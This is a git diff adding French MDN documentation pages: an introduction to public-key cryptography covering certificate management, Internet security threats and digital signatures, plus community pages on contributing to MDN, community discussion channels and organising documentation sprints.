Avant d'émettre un certificat, la clef publique qu'il contient et la clef privée correspondante doivent être générées. Il est parfois plus utile d'émettre, pour une unique personne, un certificat et une paire de clefs pour les opérations de signature, et un second certificat et une paire de clefs pour les opérations de chiffrement. Séparer les certificats de signature et de chiffrement permet de conserver la clef de signature uniquement sur une machine local, assurant ainsi une non répudiation maximale, et de sauvegarder la clef privée de chiffrement dans un endroit centralisé où elle peut être récupérée au cas où l'utilisateur perdrait la clef originale ou quitterait l'entreprise.

+ +

Les clefs peuvent être générées par un logiciel client ou générées de façon centralisée par l'autorité de certification puis distribuées aux utilisateurs via un annuaire LDAP. Il y a plusieurs options entrant dans le choix du type de génération des clefs, locale et centralisée. Par exemple, la génération locale des clefs assure une non répudiation maximale, mais elle peut induire une plus grande participation de l'utilisateur lors des étapes d'émission. La flexibilité des possibilités dans la gestion des clefs est essentielle pour la plupart des organisations.

+ +

Le recouvrement de clef, ou la capacité de récupérer une sauvegarde des clefs de chiffrement suivant des conditions bien définies, peut être un point important de la gestion des certificats (selon l'utilisation des certificats par l'organisation). Les schémas de recouvrement de clefs mettent habituellement en œuvre un mécanisme de typem sur n : par exemple,m dirigeants d'une organisation surn doivent donner leur accord, chacun contribuant à l'aide d'un code (ou d'une clef) personnel et spécial, avant que la clef d'une personne en particulier puisse être récupérée. Ce type de mécanisme assure que plusieurs personnes autorisées doivent donner leur accord avant qu'une clef de chiffrement puisse être récupérée.

+ +

Renouvellement et révocation de certificats

+ +

Comme un permis de conduire dans certains pays, un certificat spécifie une période de temps pendant laquelle il est valide. Les tentatives d'utilisation d'un certificat avant ou après la période de validité échoueront. Par conséquent, les mécanismes de gestion du renouvellement des certificats sont essentiels dans toute stratégie de gestion des certificats. Par exemple, un administrateur voudra être notifié automatiquement lorsqu'un certificat s'apprête à expirer, afin de compléter le processus de renouvellement approprié pendant le temps restant, sans gêner le détenteur du certificat. Le processus de renouvellement peut impliquer la réutilisation de la même paire de clefs publiques ou d'une nouvelle paire.

+ +

Un permis de conduire peut être suspendu, même s'il n'est pas périmé - par exemple, suite à une décision de justice pour infraction grave au code de la route. De même, il est parfois nécessaire de révoquer un certificat avant sa date d'expiration - par exemple, si un employé quitte l'entreprise ou s'il est muté dans un autre service.

+ +

La révocation des certificats peut être gérée de différentes manières. Pour certaines organisations, il peut être suffisant de paramétrer les serveurs afin que le processus d'authentification inclut la vérification de la présence du certificat présenté dans l'annuaire. Lorsqu'un administrateur révoque un certificat, le certificat peut être automatiquement supprimé de l'annuaire et ainsi toutes les tentatives d'authentification échoueront, même si le certificat reste valide dans tous les autres domaines. Une autre approche implique la publication d'une Certificates Revocation List (CRL ou liste de certificats révoquées) dans l'annuaire à intervalles réguliers et la vérification de cette liste lors du processus d'authentification. Pour d'autres organisation, il sera peut-être préférable de vérifier directement l'autorité de certification émettrice chaque fois qu'un certificat est présenté pour une authentification. Ce processus est parfois appelé vérification de l'état d'un certificat en temps réel.

+ +

Autorités d'enregistrement

+ +

Les interactions entre les entités identifiées par des certificats (parfois appelées entités finales) et les autorités de certifications (AC, pour Certificates Authority) sont un élément essentiel de la gestion des certificats. Ces interactions incluent les opérations telles que l'enregistrement de la certification, le recouvrement, le renouvellement ou la révocation de certificats, et la sauvegarde et le recouvrement de clefs. En général, une AC (Autorité de certification) doit être en mesure d'authentifier les identités des entités finales avant de répondre à leurs requêtes. De plus, certaines requêtes doivent être approuvées par un administrateur autorisé ou un gestionnaire afin d'aboutir.

+ +

Comme on l'a vu précédemment, les moyens mis en œuvre par les différentes AC pour vérifier une identité avant d'émettre un certificat sont très nombreux selon l'organisation et le domaine d'utilisation du certificat. Pour fournir une flexibilité opérationnelle maximale, les interactions avec les entités finales peuvent être séparées des autres fonctions d'une AC et gérées par un service séparé appelé une Registration Authority (RA, ou Autorité d'enregistrement).

+ +

Une RA (autorité d'enregistrement) agît comme une application amont de l'AC, en recevant les requêtes des entités finales, en les authentifiant puis en les renvoyant vers l'AC. Après réception de la réponse de l'AC, la RA notifie les résultats à l'entité finale. Les RA peuvent être très utiles pour adapter une infrastructure à clef publique à différents départements, zones géographiques, ou d'autres unités opérationnelles ayant des politiques et des exigences d'authentification très différentes.

+ +

{{Previous("Introduction à la cryptographie à clef publique:Certificats et authentification")}}

diff --git "a/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" new file mode 100644 index 0000000000..9e79f1d777 --- /dev/null +++ "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" @@ -0,0 +1,36 @@ +--- +title: Les problèmes de sécurité sur Internet +slug: >- + Introduction_à_la_cryptographie_à_clef_publique/Les_problèmes_de_sécurité_sur_Internet +tags: + - Sécurité +--- +

Toutes les communications Internet utilisent leTransmission Control Protocol/Internet Protocol (TCP/IP). TCP/IP permet d'envoyer des informations d'un ordinateur à un autre au travers d'une grande variété d'ordinateurs intermédiaires et de réseaux distincts avant qu'elles atteignent leur destination.

+ +

La grande flexibilité de TCP/IP à conduit à son adoption mondiale en tant que protocole de base pour les communications Internet et Intranet. Dans le même temps, le fait que TCP/IP permettent aux informations de transiter par de nombreux ordinateurs intermédiaires rend possible à une tierce-partie d'interférer avec les communications des façons suivantes :

+ +
    +
  • Écoute clandestine. Les informations restent intactes, mais leur confidentialité est compromise. Par exemple, quelqu'un peut intercepter votre numéro de carte de crédit, enregistrer des conversations sensibles ou intercepter des informations classifiées.
    • +
  • Altération de données. Les informations en transit sont modifiées ou remplacées puis envoyées au destinataire. Par exemple, quelqu'un peut altérer une commande de biens de consommation ou changer les données personnelles d'un internaute.
    • +
  • Usurpation d'identité. Les informations sont transmises à une personne se faisant passer pour le destinataire. L'usurpation d'identité peut être de deux natures différentes : +
      +
    • Mystification (ou spoofing en anglais). Une personne peut prétendre être quelqu'un d'autre. Par exemple, une personne peut prétendre avoir l'adresse électronique jdoe@exemple.net, ou un ordinateur peut s'identifier comme étant le domaine www.exemple.net alors qu'il ne l'est pas. Ce type d'usurpation est connu sous le nom de spoofing.
      • +
    • Fausse déclaration. Une personne ou une organisation peut se présenter faussement. Par exemple, le site www.exemple.net peut prétendre être un site de vente de meubles en lignes alors qu'il ne prend que les paiement par cartes de crédits mais qu'il n'envoie aucune marchandise.
      • +
    +
    • +
+ +

Normalement, les utilisateurs des nombreux ordinateurs coopérant ensemble à l'existence d'Internet, ou de toute autre réseau, ne surveillent pas et n'interfèrent pas avec le trafic réseau circulant continuellement par leurs machines. Cependant, de nombreuses données personnelles sensibles et les transactions commerciales sur Internet requièrent certaines précautions afin de minimiser les risques dus aux menaces listées ci-dessus. Heureusement, un ensemble de techniques et de standards bien rodés, connu sous le nom de cryptographie à clef publique, rend plus facile la mise en place de telles précautions.

+ +

La cryptographie à clef publique facilite les tâches suivantes :

+ +
    +
  • Le chiffrement et le déchiffrement permettent à deux entités communicantes dedéguiser les informations qu'elles s'échangent. L'expéditeur chiffre, ou brouille, les informations avant de les envoyer. Le destinataire déchiffre, ou décode, ces informations après leur réception. Lors du transit, les informations cryptées sont inintelligibles aux tierces personnes.
    • +
  • La détection de l'altération permet au destinataire des informations de vérifier qu'elles n'ont pas été modifiées lors du transit. Toute tentative de modifier les données ou de leur substituer un faux message sera détecté.
    • +
  • L'authentification permet au destinataire des informations de déterminer leur origine, pour confirmer l'identité de l'expéditeur.
    • +
  • La non-répudiation empêche l'expéditeur des informations de prétendre par la suite de ne pas les avoir envoyées.
    • +
+ +

Les sections qui suivent introduisent les concepts de cryptographie à clef publique qui sont à la base de ces possibilités.

+ +

{{PreviousNext("Introduction à la cryptographie à clef publique", "Introduction à la cryptographie à clef publique:Chiffrement et déchiffrement")}}

diff --git "a/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" new file mode 100644 index 0000000000..360b6340a9 --- /dev/null +++ "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" @@ -0,0 +1,30 @@ +--- +title: Signatures numériques +slug: Introduction_à_la_cryptographie_à_clef_publique/Signatures_numériques +tags: + - Sécurité +--- +

Le chiffrement et le déchiffrement permettent de limiter le problème des écoutes clandestines, un des trois problèmes de sécurité sur Internet mentionné dans une précédente section de ce document. Mais ils ne permettent pas, à eux seuls, de contrer les deux autres problèmes mentionnés dans « Les problèmes de sécurité sur Internet » : l'altération des données et l'usurpation d'identité.

+ +

Cette section décrit comment la cryptographie à clef publique peut combattre l'altération des données. Les sections suivantes décriront les solutions permettant de résoudre les problèmes d'usurpation.

+ +

La détection de l'altération des données et les techniques d'authentification qui s'y rapportent sont basées sur une fonction mathématique appelée empreinte numérique à sens unique (également appelée a message digest). Une empreinte numérique à sens unique est un nombre de longueur fixe ayant les caractéristiques suivantes :

+ +
    +
  • La valeur de l'empreinte numérique est unique pour les donnéeshachées. Tout changement dans les données, même la modification ou l'altération d'un seul et unique caractère, produit une valeur différentes.
    • +
  • Le contenu des données hachées ne peut pas, pour les applications pratiques, être déduit depuis l'empreinte numérique - c'est pour cela que cette fonction est à « sens unique ».
    • +
+ +

Comme évoqué dans « Chiffrement par clef publique », il est possible d'utiliser votre clef privée pour le chiffrement et votre clef publique pour le déchiffrement. Bien que ce ne soit pas souhaitable lorsque vous chiffrez des informations sensibles, c'est une partie cruciale de la signature numérique de données. Plutôt que de chiffrer les données elles-mêmes, le logiciel de signature crée une empreinte numérique à « sens unique », puis utilise votre clef privée pour chiffrer cette empreinte. L'empreinte chiffrée, tout comme les autres informations, tel que l'algorithme de hachage, est connu sous le nom de signature numérique.

+ +

Figure 3 montre une vue simplifiée de l'utilisation d'un signature numérique pour valider l'intégrité de données signées.

+ +

Figure 3. Utilisation d'une signature numérique pour valider l'intégrité de données

+ +

Figure 3 montre que deux éléments sont transférés au destinataire des données signées : les données originales et la signature numérique, qui est simplement une empreinte numérique (des données originales) qui a été chiffrée avec la clef privée du signataire. Pour valider l'intégrité des données, le logiciel récepteur doit d'abord utiliser la clef publique du signataire pour décrypter l'empreinte numérique. Il utilise alors le même algorithme de hachage qui a généré l'empreinte numérique pour générer une nouvelle empreinte à « sens unique » des mêmes données. Bien que se ne soit pas indiqué sur la figure 3, les informations concernant l'algorithme de hachage sont également envoyées avec la signature numérique. Finalement, le logiciel de réception compare la nouvelle empreinte avec l'originale. Si les deux correspondent, les données n'ont pas changées depuis leur signature. Dans le cas contraire, elles ont été altérées, ou la signature a été créée avec une clef privée ne correspondant pas à la clef publique présentée par la signataire.

+ +

Si les deux empreintes correspondent, le destinataire peut être certain que la clef publique utilisée pour déchiffrer la signature numérique correspond à la clef privée utilisée pour la création cette signature. Cependant, la confirmation de l'identité du signataire requiert également un moyen de confirmer que la clef publique appartient bien à une personne en particulier ou à une autre entité. Pour plus d'informations sur la façon dont cela fonctionne, voir la section suivante, « Certificats et authentification ».

+ +

L'importance d'une signature numérique est comparable à celle d'une signature manuelle. Une fois les données signées, il vous est difficile après coup de prétendre le contraire - en supposant que le clef privée n'a pas été compromise ou qu'elle n'est pas sous le contrôle de son propriétaire. Cette qualité de la signature numérique fournit un haut degré de non-répudiation - ainsi, il est difficile au signataire de nier avoir signé les données. Dans certains cas, une signature numérique peut être l'équivalent légal d'une signature manuelle.

+ +

{{PreviousNext("Introduction à la cryptographie à clef publique:Chiffrement et déchiffrement", "Introduction à la cryptographie à clef publique:Certificats et authentification")}}

diff --git a/files/fr/orphaned/learn/how_to_contribute/index.html b/files/fr/orphaned/learn/how_to_contribute/index.html new file mode 100644 index 0000000000..29814aaee9 --- /dev/null +++ b/files/fr/orphaned/learn/how_to_contribute/index.html @@ -0,0 +1,85 @@ +--- +title: Comment contribuer à l'Espace d'apprentissage du MDN +slug: Apprendre/Comment_contribuer +tags: + - Apprendre + - Documentation + - Débutant + - Guide + - contribuer +translation_of: Learn/How_to_contribute +--- +

{{LearnSidebar}}

+ +
+

Si vous êtes parvenu à cette page du premier coup ou après avoir longuement cherché, cela signifie probablement que vous souhaitez contribuer à l'« Espace d'Apprentissage du MDN » (aussi appelée Learning Area). Excellente nouvelle !

+ +

Sur cette page, vous trouverez tout ce dont vous aurez besoin pour aider à améliorer le contenu pédagogique sur MDN. Vous pouvez contribuer de nombreuses façons, selon le temps que vous avez ou que vous souhaitez y passer, que vous soyez un débutant, un développeur web, ou un enseignant.

+
+ +
+

Note : Vous pouvez trouver un guide pour écrire un nouvel article sur Comment rédiger un article pour aider les gens à se familiariser avec le Web..

+
+ +

Trouver une tâche spécifique

+ +

Un moyen courant utilisé par les contributeurs à l'« Espace d'Apprentissage » est de lire les articles, corriger les fautes de frappe et suggérer des améliorations. Vos exemples sont également les bienvenus sur notre dépôt GitHub, et vous pouvez prendre contact avec nous si vous voulez demander ce qui doit être fait.

+ +

Contribuer représente également une excellente méthode pour apprendre tout en s'amusant. Si vous vous sentez perdu et/ou si vous avez des questions, n'hésitez pas à nous contacter via la liste de diffusion (anglophone) ou notre canal IRC (anglophone) (voir en pied de page pour plus de détails). Chris Mills est le responsable du projet pour l'« Espace d'Apprentissage » — vous pouvez aussi essayer de le contacter directement.

+ +

Les paragraphes suivants donnent quelques idées générales des types de tâches que vous pouvez réaliser.

+ +

Je suis un débutant

+ +

Fantastique ! Les retours des débutants sont particulièrement précieux lorsqu'il s'agit d'écrire des articles pédagogiques. Votre point de vue est unique, car vous faites partie du public visé par ces articles, ce qui peut faire de vous un membre inestimable de notre équipe. En effet, si vous utilisez un de nos articles pour apprendre quelque chose et que vous êtes bloqué, ou si vous trouvez l'article déroutant d'une certaine manière, vous pouvez le corriger ou nous le faire savoir afin que nous puissions être sûrs qu'il sera corrigé.

+ +

Voici quelques façons de contribuer :

+ +
+
Ajouter des étiquettes aux articles (5 min)
+
Étiqueter le contenu de MDN est le moyen le plus simple de contribuer sur MDN. Comme beaucoup de nos fonctionnalités utilisent des balises pour aider à présenter l'information dans son contexte, aider à l'étiquetage est une contribution très précieuse. Jetez un oeil sur les listes des termes du glossaire et aux articles de la section d'apprentissage qui n'ont pas d'étiquettes. (Pour le français, utiliser des termes français, ceux qu'un francophone envisagera de rechercher)
+
Lire et effectuer une relecture d'un terme du glossaire (5 min)
+
Nous avons besoin de votre regard neuf sur le contenu qui a été rédigé. Si vous trouvez qu'un terme du glossaire est difficile à comprendre, cela signifie que sa définition doit être améliorée. N'hésitez pas à apporter les changements que vous estimez nécessaires. Si vous ne pensez pas avoir les compétences requises pour modifier l'entrée en question, dites-le nous sur la liste de diffusion.
+
Rédiger une nouvelle définition dans le glossaire (20 minutes)
+
La méthode la plus efficace pour apprendre quelque chose de nouveau est de : choisir un concept que vous aimeriez comprendre, en apprendre le plus possible à ce sujet et expliquer ce concept dans le glossaire. Expliquer quelque chose aux autres est une excellente façon de vérifier que vous avez bien compris et aide énormément à ancrer cette connaissance dans votre mémoire. Vous aurez ainsi fait quelque chose pour vous et aussi pour les autres. Gagnant gagnant !
+
Lire et effectuer une relecture d'un article pédagogique (2 heures)
+
Cetta action a beaucoup d'analogies avec la relecture d'un terme du glossaire présentée plus haut ; mais elle prendra plus de temps car les articles sont généralement plus longs.
+
+ +

Je suis un développeur web

+ +

Parfait, vos compétences techniques sont l'ingrédient idéal pour que nous soyons sûrs de fournir un contenu pédagogique et techniquement précis pour les débutants. Cette section du MDN est dédiée à l'apprentissage des concepts du Web, il est donc nécessaire que les explications fournies soient aussi simples que possible, sans être simplistes et donc inutilisables . Il est plus important d'être compréhensible que de donner une foultitude de détails.

+ +
+
Lire et effectuer une relecture d'une définition du glossaire (5 min)
+
En tant que développeur web, vous pouvez nous aider à ce que le contenu soit précis sur le plan technique, sans pour autant qu'il soit pédant. N'hésitez pas à modifier les articles si vous pensez que c'est nécessaire. Si vous souhaitez échanger sur le sujet avant d'éditer, n'hésitez pas à nous contacter via la liste de diffusion (anglophone) ou notre canal IRC (anglophone).
+
Écrire une nouvelle définition dans le glossaire (20 minutes)
+
Clarifier le jargon technique est une bonne méthode pour apprendre et être techniquement précis et clair. Les débutants vous en remercieront. Quelques termes ne sont pas encore définis et ont besoin de vous, choisissez-en un qui vous intéresse et allez-y.
+
Lire et effectuer une relecture d'un article pédagogique (2 heures)
+
Cette action ressemble beaucoup à celle de la relecture d'un terme du glossaire (présentée plus haut). Elle demande plus de temps car les articles sont généralement plus longs.
+
Écrire un nouvel article pour la section Apprendre (4 heures ou plus)
+
MDN manque de ressources à destination des débutants à propos des technologies web (HTML, CSS, JavaScript, etc.). Certains articles et contenus existent déjà mais ont besoin d'être revus et remaniés. Dépassez vos limites en mettant les technologies web à la portée des débutants.
+
Créer exercices, exemples de code et outils d'apprentissage interactifs (? heures)
+
Les différents articles pédagogiques ont besoin d'éléments d'« Apprentissage actif » car chacun apprend mieux en faisant soi-même. Ces éléments peuvent être des exercices ou du contenu interactif qui permette à un utilisateur d'appliquer et de manipuler les concepts détaillés dans un article. De nombreux outils existent pour créer de tels exemples de code : JSFiddle ou similaire pour construire un contenu interactif et avec Thimble, libérez votre créativité !
+
+ +

Je suis un enseignant

+ +

MDN est connu pour son excellence sur le plan technique et moins connu, à juste titre, pour son contenu à destination des débutants. C'est là que nous avons besoin de vous, comme enseignant ou formateur. Vous pouvez nous aider à améliorer la pédagogie et la cohérence éducative du contenu du MDN.

+ +
+
Lire et effectuer une relecture d'une définition du glossaire (15 min)
+
Consultez une des définitions du glossaire et amendez-la si nécessaire. Si vous souhaitez discuter du contenu avant de publier, n'hésitez pas à nous contacter via la liste de diffusion (anglophone) ou notre canal IRC (anglophone).
+
Écrire une nouvelle définition dans le glossaire (1 heure)
+
Définir les termes de façon simple et claire pour fournir un aperçu efficace des concepts est essentiel pour s'adresser aux débutants. Votre expérience de pédagogue peut être tout particulièrement utile pour créer un excellent glossaire. De nombreux termes ne sont pas encore définis, choisissez-en un puis allez-y !
+
Ajouter des illustrations et/ou des schémas à des articles (1 heure)
+
Comme vous le savez, les illustrations sont indispensables pour apprendre. Or, c'est quelque chose qui manque souvent sur MDN et vos compétences peuvent faire la différence dans ce domaine. Consultez la liste des articles en manque d'illustration et choisissez-en un pour lequel vous souhaitez ajouter des éléments graphiques.
+
Lire et  effectuer une relecture d'un article pédagogique (2 heures)
+
Cette action ressemble beaucoup à la relecture d'un terme du glossaire présentée plus haut. Elle prend plus de temps car les articles sont généralement plus longs.
+
Écrire un nouvel article dans la section « Apprendre » (4 heures)
+
Cette section a besoin d'articles simples et directs sur le web et les notions fonctionnelles attenantes. Ces articles doivent être écrits dans un but pédagogique : il ne s'agit pas de couvrir l'exhaustivité d'un domaine ou d'un concept mais d'en expliquer l'essentiel. Cet équilibre est difficile à trouver et c'est là que votre expérience toute particulière entre en jeu.
+
Créer des exercices, des quizz ou des outils d'apprentissage interactifs (? heures)
+
Les différents articles pédagogiques ont besoin d'éléments de « apprentissage actif » car chacun apprend mieux en faisant soi-même. Ces éléments peuvent être des exercices ou du contenu interactif qui permet à un utilisateur d'appliquer et de manipuler les concepts détaillés dans un article. De nombreux outils existent pour créer de tels exemples : JSFiddle, Thimble. Libérez votre créativité !
+
Créer des chemins d'apprentissage (? hours)
+
Afin de fournir des tutoriels progressifs et compréhensibles, les articles doivent être organisés en suites logiques. Cette organisation permet d'utiliser le contenu existant et d'identifier ce qui manque (auquel cas un nouvel article sera le bienvenu).
+
diff --git a/files/fr/orphaned/mdn/community/conversations/index.html b/files/fr/orphaned/mdn/community/conversations/index.html new file mode 100644 index 0000000000..70596f8299 --- /dev/null +++ b/files/fr/orphaned/mdn/community/conversations/index.html @@ -0,0 +1,56 @@ +--- +title: Discussions de la communauté MDN +slug: MDN/Rejoindre_la_communauté/Conversations +translation_of: MDN/Community/Conversations +--- +
{{MDNSidebar}}

Le travail de MDN se fait beaucoup sur le site MDN mais la communauté est trés active aussi par des discussions (synchrones ou asychrones) se faisant en ligne, par chat ou rencontres organisées.

+ +

Les discussions asynchrones :

+ +

Pour partager des informations et tenir des conversations en direct,  MDN a sa propre catégorie ("MDN") dans le forum Mozilla.  Choisissez cette catégorie pour tous les sujets ayant trait à MDN, y compris le contenu de la documentation, la création, la traduction et la maintenance; la plateforme de développement MDN, et le planning, la définition des objectifs, le suivi des avancées.

+ +
    +
  • Pour rejoindre les conversations Mozilla, voyez la page pour s'inscrire (en); si vous avez un compte LDAP Mozilla, vous devriez l'utiliser à la place du "Login par email".
    • +
  • Pour s'inscrire dans une catégorie, voyez s'incrire dans des catégories et sujets (en).
    • +
  • (Optionnel) Si vos préférez, dans un premier temps, interagir dans les discussions par email,  voyez Comment converser par email (en). Vous pouvez débuter une conversation dans "Discourse" (discussion) en envoyant un message à : mdn@mozilla-community.org. Si vous utilisez  Discourse par email, vous pouvez répondre aux messages en répondant au message de notification que vous avez reçu. Si vous voulez insérer des commentaires dans une réponse, faites deux retour chariot avant et après votre intervention, que  Discourse puisse l'analyser correctement.
    • +
+ +

Historical archives

+ +

Avant Juin 2017, les discussions de MDN se faisaient par "mailing lists" qui étaient filtrées et archivées avec "Google groups". Si vous voulez voir ces discussions anciennes, regardez dans les "Google groups" correspondants aux vieilles liste de mailings. ( oui, nous savons hélas que ces noms sont  redondants et déroutants. Un accident historique, désolé pour ça...)

+ +
+
mozilla.dev.mdc a.k.a. dev-mdc
+
Cette liste concernait le contenu de la documentation sur MDN.
+
mozilla.dev.mdn a.k.a. dev-mdn
+
Cette liste concernait le travail de développement sur la plateforme MDN  Kuma.
+
mozilla.mdn a.k.a. mdn@
+
Ce forum concernait le planning et l'établissement des priorités de discussions pour le site MDN et autres initiatives associées.
+
+ +

 

+ +

Chat sur IRC

+ +

 

+ +

Internet Relay Chat (IRC) est notre méthode préférée pour le chat quotidien et la discussion en temps réel entre membres de la communauté. Nous utilisons quelques canaux sur le serveur irc.mozilla.org pour les discussions sur MDN.

+ +
+
#mdn
+
This channel is our primary channel for discussing the content of MDN. We talk about writing, organization of content, and so on. We also have "water cooler" conversations here—it's a way our community can keep in touch and just hang out. This is also the place to talk about other aspects of MDN (other than development of the platform), such as Demo Studio, profiles, and so on.
+
#mdndev
+
This channel is where our development team—the people that write the code that makes MDN work—hangs out and discusses their day-to-day work. You're welcome to join in and either participate in the development or simply ask questions about issues you see with the software.
+
+ +

These channels are most likely to be active during weekdays in North America.

+ +

You may want to learn more about IRC and use an installable IRC client such as ChatZilla. It is implemented as a Firefox add-on, which makes it quick and easy to install and use. If you're not familiar with IRC, an easy way to join is using a web-based IRC client such as Mibbit. Here are the direct links to the #mdn and #mdndev channels on Mibbit.

+ +

Join our meetings (and other events)

+ +

The MDN team holds a number of regular meetings that are open to the MDN community. See the MDN Meetings page on the Mozilla wiki for details on the schedule, agendas and notes, and info on how to join.

+ +

See the MDN Events calendar for these and other meetings, local meetups, and other events. The recurring meetings are summarized on the MDN Meetings wiki page.

+ +

If you see a meeting which takes place in the "mdn" channel on our Vidyo videoconferencing system, you can join the conversation on the web.

diff --git a/files/fr/orphaned/mdn/community/doc_sprints/index.html b/files/fr/orphaned/mdn/community/doc_sprints/index.html new file mode 100644 index 0000000000..8fbfa54cd1 --- /dev/null +++ b/files/fr/orphaned/mdn/community/doc_sprints/index.html @@ -0,0 +1,133 @@ +--- +title: Doc sprints +slug: MDN/Rejoindre_la_communauté/Doc_sprints +translation_of: MDN/Community/Doc_sprints +--- +
{{MDNSidebar}}

{{ draft() }}

+ +
+

Remarque: La communauté MDN a souvent tenu des doc sprints au cours de la période 2010-2013. À partir de 2014, ces événements ont été élargis en champ de «Hack on MDN» les événements qui incluent le code de piratage ainsi que des projets de documentation. La plupart des conseils ci-dessous s'applique aussi bien aux "Hack" sprints et qu'aux documentation sprints.

+
+ +

Ceci est un guide pour l'organisation d'un doc sprint. Il contient des conseils et astuces de personnes qui ont organisé les doc sprints, pour vous aider dans l'organisation de celui-ci aussi. Ce guide appuie également sur les idées du livre FLOSS Manuals Book Sprints.

+ +

Qu'est ce qu'un doc sprint?

+ +

Un doc sprint est une courte période où un groupe de personnes se réunissent, virtuellement ou réellement, à collaborer à la rédaction de documentation sur un sujet donné ou des sujets connexes.

+ +

Types de sprints

+ +

Les sprints peuvent être virtuel ou en personne, ou une combinaison. Pour un sprint virtuel, tout le monde participe à partir de là où ils se trouvent, en communiquant  uniquement par le biais des cannaux dédiés. Pour un sprint en personne, les participants se réunissent au même endroit pendant toute la durée du sprint, afin qu'ils puissent communiquer  face-à-face. Les sprints hybrides peuvent être la plupart du temps en personne avec des participants à distance, ou la plupart du temps virtuel avec des rassemblements locaux. En personne les sprints exigent plus de planification logistique, pour assurer le lieu de la reunion , reunir tout le monde dans un même endroit, les loger et les nourrir pendant le sprint.

+ +

Une autre manière de classer par catégorie les sprints focalisés sur des thématiques  . Par exemple, un sprint pourrait se concentrer sur un domaine particulier, tels que le développement Web, ou sur la traduction dans une langue particulière.

+ +

Planification d'un sprint

+ +

Determiner les objectifs

+ +

Ayez une idée claire sur quels sont les objectifs pour le sprint, à la fois pour le contenu et la communauté. Cela permet de conduire votre planification dans les moindres détails.

+ +
    +
  • Voulez-vous  documenter un sujet particulier?
    • +
  • Voulez-vous créer un type particulier de documents ou de ressources? Par exemple, des tutoriels, des exemples de code, ou des traductions dans une langue particulière.
    • +
  • Voulez-vous attirer de nouvelles personnes à contribuer au MDN?
    • +
  • Voulez-vous augmenter la cohésion entre les membres de la communauté existante?
    • +
+ +

Décider du type et de la portée

+ +

Basé sur vos objectifs, se prononcer sur le type de sprint (virtuel, en personne, ou une combinaison) et la portée (sur quoi seront focalisés les participants).

+ +

Par exemple, si vous voulez attirer de nouveaux membres de la communauté, un sprint local en personne serait un bon choix, car aucun voyage est impliqué, mais les participants ont l'occasion de se rencontrer. Si vous voulez vous concentrer sur un domaine spécifique, où les contributeurs de contenu sont répartis géographiquement, et se connaissent déjà les uns les autres, alors un virtual sprint peut faire l'affaire.

+ +

Choisissez les dates et heures

+ +

Pour les sprints en personne qui nécessitent un Voyage, nous avons constaté que trois jours (Soit deux jours de week-end et un jour de semaine) est assez suffisant pour pouvoir accomplir  un travail important, sans prendre trop de temps loin de la vie normale de tout le monde. Pour, sprints public, local, en personne, un jour oû vous pouvez expérer avoir le plus de personne pour s'engager. Pour les sprints virtuels, ils se font généralement sur deux jours: un jour de semaine et un jour de week-end. Comme  autre exemple, dans le passé, il y a eu un mini-sprint pour l'écriture et la traduction de documents, chaque mercredi soir dans le bureau Mozilla Paris; il était principalement en personne pour les résidents, mais a également obtenu la participation à distance de Montréal (où il était à l'heure du déjeuner).

+ +

Placer un sprint à la fin d'une conférence à laquelle tout le monde a assisté a bien fonctionné; essayer de lancer un sprint lors d'une conférence à laquelle tout le monde a assisté ne fonctionnait pas si bien. Assurez-vous que les participants aient connaissance du sprint quand ils font leurs plans de conférence, de sorte qu'ils permettent des jours supplémentaires pour le sprint.

+ +

Considérez les fuseaux horaires des participants virtuels; être sûr que vous laissez suffisamment de temps de travail dans chaque fuseau horaire, et vous avez un certain chevauchement lorsque plusieurs zones (comme l'Europe et des Amériques, ou Amériques et en Asie) sont éveillés. Cependant, c'est une réalité que le temps de personne n'est bon pour tout le monde partout.

+ +

Pour les virtual sprints, les rendez-vous peuvent être réglées à moins de 2-3 semaines à l'avance. Pour les in-person sprints, vous devez décider plus à l'avance, afin de laisser le temps aux gens de décider et de faire des arrangements de voyage.

+ +

Promouvoir le sprint

+ +

Vous pouvez faire le sprint ouvert, et inviter le monde, mais vous devriez avoir quelques personnes clés qui vous savez participeront effictivement. Travailler avec eux lors de la sélection des dates, pour vous assurer qu'ils sont disponibles pendant les dates choisies. Si le sprint n'est pas ouvert, alors vous avez besoin seulement d'étendre les invitations; Assurez-vous que chaque invitation est personnelle, expliquant pourquoi cette personne a été spécialement invitée.

+ +
+
+
+
+
+
+
 
+Pour les public sprints, identifier les groupes existants qui ont un intérêt pour le sujet, par exemple: Les groupes meetup développeur Web locaux pour un in-person sprint locale. Envoyer une annonce par quelque canal est approprié pour ce groupe. Assurez-vous de fournir un lien vers une page web avec plus de détails, et inclure un call-to-action pour les gens s'enregistrer pour le sprint. Eventbrite et Lanyrd sont deuw services qui supportent les enregistrements. Pour les événements Mozilla developer,nous avons constaté que près de la moitié des personnes qui s'enregistrent apparaissent effectivement.
+
+
+
+
+
+ +

Utilisez les canaux de médias sociaux qui sont appropriés pour atteindre vos participants cibles. Nous avons constaté que pour les développeurs Web, cela signifie Twitter, suivi par Google Plus, plus que Facebook ou LinkedIn. Cependant, les canaux populaires peuvent varier géographiquement (comme Orkut au Brésil). Faites appel à quelques personnes bien connectées qui ont une forte popularité parmi votre public cible, et leur demander de re-partager vos messages.

+ +

Logistiques pour les in-person sprints

+ +

Les logistiques pour les in-person sprints sont plus grands pour les longs sprint que pour ceux où les participants se deplacent pour assister. Un court sprint ou un sprint seulement reservé aux locaux nécessite relativement moins de support logistique.

+ +

Budget et financement

+ +

Vous devez savoir combien l'événement va coûter, et d'où l'argent va venir.

+ +

Les coûts à considérer dans votre budget incluent:

+ +
    +
  • Voyage
    • +
  • Hébergement
    • +
  • Nourriture
    • +
  • Espace de réunion
    • +
+ +

Certains de ces coûts peuvent être auto-financé par les participants, ce qui signifie qu'ils paient pour leurs propres dépenses. Il existe une variété de façons d'économiser de l'argent, qui sont mentionnés dans les sections suivantes.

+ +

